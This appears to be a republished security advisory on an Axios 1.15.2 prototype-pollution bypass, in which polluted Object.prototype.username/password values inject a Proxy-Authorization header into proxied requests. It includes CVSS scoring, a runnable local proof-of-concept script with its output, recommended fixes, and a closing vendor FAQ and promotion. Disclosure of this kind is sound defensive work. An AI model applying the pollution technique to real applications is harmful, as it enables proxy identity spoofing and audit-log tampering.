The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.
The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.
Severity: Medium (CVSS 5.4)
Affected Versions: 1.15.2 (and potentially 1.15.1)
Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())
Score: 5.6 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the proxy authentication context |
| Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) |
| Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |
| Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |
| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |
|---|---|---|
| Precondition | None — all requests affected | Must have config.proxy set |
| config.baseURL PP | Hijacks all relative URL requests | Not applicable |
| config.auth PP | Injects Authorization to target server | Only injects Proxy-Authorization to proxy |
| Attacker sees traffic | Yes (via baseURL redirect) | No — only proxy identity affected |
| Impact scope | Universal — every axios request | Only requests with explicit proxy config |
This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.
However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.
| Layer | Protection | Status |
|---|---|---|
| config (top-level) | Object.create(null) | ✓ Fixed |
| config.proxy (nested) | utils.merge() → const result = {} | ✗ NOT Fixed |
| setProxy() reads | proxy.username, proxy.auth without hasOwnProperty | ✗ NOT Fixed |
utils.merge() creates plain {} for nested objectsFile: lib/utils.js, line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = {}; // ← Plain object with Object.prototype!
// ...
}
When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.
setProxy() reads proxy properties without hasOwnPropertyFile: lib/adapters/http.js, lines 209-223
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
if (proxy.username) { // ← traverses Object.prototype!
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (proxy.auth) { // ← traverses Object.prototype!
const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
if (validProxyAuth) {
proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
}
// ...
const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!
}
// ...
}
}
Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
│
▼
User config: { proxy: { host: 'proxy.corp', port: 8080 } }
│
▼
mergeConfig() → utils.merge() → new plain {}
config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)
config.proxy inherits from Object.prototype (has .username, .password)
│
▼
setProxy() at http.js:209:
proxy.username → 'attacker' (from Object.prototype) → truthy!
proxy.auth = 'attacker' + ':' + 'stolen-creds'
│
▼
http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Injected into EVERY proxied HTTP request!
import http from 'http';
import axios from './index.js';
// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
res.writeHead(200);
res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));
// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';
// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});
// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds
delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();
Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0
# 1. Install axios 1.15.2
npm pack [email protected]
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install
# 2. Save PoC as poc.mjs (code from Section 7 above)
# 3. Run
node poc.mjs
=== Axios 1.15.2: PP → Proxy-Authorization Injection ===
[1] Normal request with proxy (no auth):
Proxy-Authorization: none
[2] Prototype Pollution: Object.prototype.username = "attacker"
Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Decoded: attacker:stolen-creds
→ PP injected proxy credentials: attacker:stolen-creds
[3] Impact:
✗ Attacker injects Proxy-Authorization into all proxied requests
✗ If proxy logs auth, attacker credential appears in proxy logs
✗ If proxy authenticates based on this, attacker controls proxy identity
✗ Works on 1.15.2 despite null-prototype config fix
✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype
Direct PP (config.proxy) — BLOCKED by 1.15.2:
Object.prototype.proxy = { host: 'evil' }
config.proxy = undefined ← null-prototype blocks ✓
Nested PP (proxy.username) — BYPASSES 1.15.2:
Object.prototype.username = 'attacker'
config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties
config.proxy own keys: ['host', 'port'] ← username NOT own
config.proxy.username = 'attacker' ← inherited from Object.prototype!
hasOwn(config.proxy, 'username') = false
## Impact Analysis
- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.
### Prerequisite
- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted
## Recommended Fix
### Fix 1: Use `hasOwnProperty` in `setProxy()`
```javascript
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
if (hasOwn(proxy, 'username')) {
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (hasOwn(proxy, 'auth')) {
// ... existing auth handling ...
}
}
}
utils.merge()// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = Object.create(null); // ← null-prototype for nested objects too
// ...
}
getMergedValue()| Software | From | Fixed in |
|---|---|---|
axios / axios
|
1.15.2 | 1.15.2.x |
axios / axios
|
1.15.2 | 1.16.0 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.